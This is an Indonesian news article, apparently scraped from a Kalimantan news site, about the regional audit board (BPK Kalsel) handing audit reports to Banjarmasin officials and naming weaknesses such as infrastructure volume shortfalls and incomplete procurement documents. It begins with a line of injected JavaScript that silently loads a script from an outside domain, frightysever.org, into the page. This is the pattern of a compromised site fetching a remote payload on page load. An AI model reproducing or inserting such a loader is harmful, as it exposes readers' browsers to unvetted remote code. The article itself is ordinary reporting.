(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

BPK Serahkan Laporan Hasil Pemeriksaan, Ternyata Tiga Hal Perlu Dibenahi


BANJARMASIN, Badan Pemeriksa Keuangan (BPK) Kalsel menyerahkan berkas Laporan Hasil Pemeriksaan (LHP) kinerja dan pemeriksaan kepada Walikota Banjarmasin H Ibnu Sina dan Ketua DPRD Kota Banjarmasin Hj Ananda, Jumat (15/12). Kegiatan yang dilaksanakan di aula kantor BPK Kalsel itu, dihadiri juga Wakil Gubernur Kalsel H Rudy Resnawan.

Rudy Resnawan mengatakan, audit BPK terhadap laporan keuangan daerah itu sesuai dengan amanat dari UU. Untuk itu, laporan hasil pemeriksaan tersebut wajib ditindaklanjuti serta  diawasi para anggota DPRD sebagai tindak-lanjut.

“Audit itu bukan untuk mencari kesalahan tetapi untuk perbaikan keuangan yang telah digunakan, agar sesuai ketentuan yang berlaku,” ungkapnya.

Wagub juga meminta jajaran SKPD di lingkup kerjanya untuk segera menyelesaikan tindak-lanjut hasil laporan tersebut. “Bila tidak ditindaklanjuti, akan selalu dikejar oleh BPK. Karena itu saya harap semua tindak-lanjut tersebut diselesaikan, apalagi Kalsel telah dua kali mendapat opini WTP (Wajar Tanpa Pengecualiawn) untuk kategori seluruh kabupaten dan kotanya WTP,” jelasnya.

Sementara Kepala BPK Kalsel Didi Budi Satrio menjelaskan, BPK melakukan pemeriksaan atas prioritas pembangunan dalam RPJM 2015-2019 yang menjadi fokus dalam strategi pemeriksaan. Melalui pemeriksaan yang berkesinambungan pada fokus pemeriksaan tersebut, diharapkan dapat memberikan rekomendasi dan pendapat yang dapat mendorong keberhasilan pembangunan nasional.

“Secara umum hasil pemeriksaan BPK menunjukan ada tiga entitas yang menunjukan permasalahan. Di antaranya masih terdapat kekurangan volume atas sejumlah paket pekerjaan fisik infrastruktur, kemudian keterlambatan pelaksanaan pekerjaan, dan paket pekerjaan yang terindikasi kontrak kritis, serta dokumen pengadaan e-purchasing yang tidak lengkap,” katanya

Pada dasarnya, lanjut Didi, Pemprov Kalsel dan seluruh kabupaten kota telah melakukan sejumlah upaya dan keberhasilan yang telah dicapai sebagaimana yang telah dituangkan dalam laporan hasil pemeriksaan. Namun dari hasil pemeriksaan menunjukan masih terdapat sejumlah kelemahan yang harus diperhatikan dan diperbaiki.

Dengan adanya kelemahan yang ditemukan dalam pemeriksaan tersebut, BPK telah memberikan rekomendasi yang dituangkan dalam laporan hasil pemeriksaan. Diharapkan pemerintah daerah dapat menindaklanjutinya selambat lambatnya 60 hari sejak laporan hasil pemeriksaan diterima.(ammar)

 

Reporter : Ammar
Editor : Cella

Desy Arfianty

Recent Posts

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

17 menit ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

1 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

3 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

4 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

4 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

5 jam ago

This website uses cookies.